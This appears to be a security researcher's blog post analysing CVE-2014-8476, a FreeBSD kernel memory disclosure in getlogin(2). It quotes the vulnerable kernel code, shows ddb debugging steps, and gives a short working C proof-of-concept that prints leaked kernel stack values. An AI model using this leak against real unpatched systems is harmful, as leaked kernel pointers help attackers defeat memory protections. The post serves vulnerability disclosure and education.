Analysis of CVE-2014-8476: a FreeBSD kernel memory disclosure vulnerability

One week ago, on November 4th, 2014, the FreeBSD team published security advisory FreeBSD-SA-14:25.setlogin describing an information disclosure vulnerability in setlogin(2) / getlogin(2), which could allow an unprivileged user to disclose kernel memory contents.

This vulnerability (identified as CVE-2014-8476) affects all supported versions of FreeBSD. This is the problem description, taken from the advisory:

When setlogin(2) is called while setting up a new login session, the login name is copied into an uninitialized stack buffer, which is then copied into a buffer of the same size in the session structure. The getlogin(2) system call returns the entire buffer rather than just the
portion occupied by the login name associated with the session.

The code of the vulnerable function (getlogin in FreeBSD 8.4, sys_getlogin in newer versions) is located at /sys/kern/kern_prot.c:

int
getlogin(struct thread *td, struct getlogin_args *uap)
{
	int error;
	char login[MAXLOGNAME];
	struct proc *p = td->td_proc;

	if (uap->namelen > MAXLOGNAME)
		uap->namelen = MAXLOGNAME;
	PROC_LOCK(p);
	SESS_LOCK(p->p_session);
	bcopy(p->p_session->s_login, login, uap->namelen);
	SESS_UNLOCK(p->p_session);
	PROC_UNLOCK(p);
	if (strlen(login) + 1 > uap->namelen)
		return (ERANGE);
	error = copyout(login, uap->namebuf, uap->namelen);
	return (error);
}

As we can see, in line 2065 it will copy uap->namelen bytes, which in my tests was set to the MAXLOGNAME constant (defined as 0x11 in FreeBSD 8.4, and as 0x21 in FreeBSD 10) from a buffer containing the login name to the login local variable, which is then copied to userland in line 2070.

That means that we’ll be able to leak to userland (MAXLOGNAME – strlen(login_name) – 1) bytes belonging to kernel memory.

So I decided to try and make a proof-of-concept. I started by grabbing a FreeBSD 8.4-RELEASE (i386) virtual machine and recompiling the kernel with support for ddb, the interactive kernel debugger.

Once we have ddb running, we can break into the debugger by running the following command:

# sysctl debug.kdb.enter=1

Once in the debugger let’s put a breakpoint in the vulnerable function getlogin:

db> break getlogin

After that we can run the “c” command in the debugger in order to resume the execution of the kernel.
Now let’s compile and run the proof-of-concept code:

#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char **argv){

	char *name;
	unsigned long *pointer;
	int i;

	name = getlogin();
	printf("getlogin: %s\n\n", name); 
	pointer = (unsigned long *)(name + strlen(name) + 1);
	for(i = 0; i < 3; i++){ 
		printf("[+] value leaked from kernel: 0x%08lx\n", *pointer);
		pointer++;
	}
	return 0;

}

Our breakpoint in the setlogin function will be hit; let’s single-step through the code until we reach the call to the bcopy function:

getlogin: call to bcopy

Now let’s take a look at the parameters for the bcopy function in the stack:

bcopy: parameters

There we can see the three parameters for the bcopy function:

  • source address (0xc53b0c54)
  • destination address (0xe7583c4f)
  • length (0x11)

Also in red we have the null-terminated login name for my current user(“fran”). This is the data with length 5 that should be returned by the getlogin() system call; however, it will copy back to userland 0x11 bytes (0x21 bytes in the case of FreeBSD 10). That means that it will disclose the values highlighted in yellow, green and light blue.

By the way, in my testing machine the values highlighted in yellow and green happen to be valid pointers:

pointers

Finally, this is an example output of the PoC:

poc

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s